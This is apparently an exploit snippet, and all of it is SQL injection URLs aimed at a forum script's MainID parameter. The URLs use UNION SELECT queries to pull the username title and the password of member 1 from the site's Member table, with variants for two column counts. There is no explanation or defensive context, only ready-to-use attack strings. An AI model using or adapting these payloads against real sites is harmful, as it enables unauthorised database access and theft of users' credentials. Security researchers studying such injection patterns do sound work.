For user :
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,usertitle,7,8,9,10,11,12,13%20from%20Member%20where%20Memberid%20=1/*
Or
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,usertitle,7,8,9,10,11,12,13,14%20from%20Member%20where%20Memberid%20=1/*

For Password : 
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13%20from%20Member%20where%20Memberid%20=1/*
Or
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13,14%20from%20Member%20where%20Memberid%20=1/*